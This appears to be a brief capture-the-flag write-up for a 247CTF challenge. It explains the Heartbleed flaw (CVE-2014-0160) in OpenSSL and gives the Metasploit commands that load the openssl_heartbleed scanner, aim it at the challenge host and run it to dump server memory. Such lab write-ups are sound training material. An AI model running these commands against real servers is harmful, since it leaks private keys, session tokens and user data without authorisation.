247CTF - Sensitive Server Memory

Posted on In Views: Word count in article: 130 Reading time ≈ 1 mins.

A webserver is storing sensitive data in memory. Exploit a known vulnerability to read it.

Vulnerability

Heartbleed (CVE-2014-0160) - A critical vulnerability in OpenSSL that allows reading server memory without authentication. The vulnerability exploits the TLS heartbeat mechanism to leak sensitive information including private keys, session tokens, user data, and flags.

Solution

Use Metasploit's Heartbleed scanner module:

1
2
3
4
5
6
msfconsole
msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 95fe58ed8b8d1ce7.247ctf.com
msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 50326
...
msf auxiliary(scanner/ssl/openssl_heartbleed) > run

The module will dump server memory, which contains the flag.

The returned flag belongs to the launched service instance; no cross-instance invariance is established. Record the generation/retrieval method and use the current instance response instead of a fixed-answer spoiler.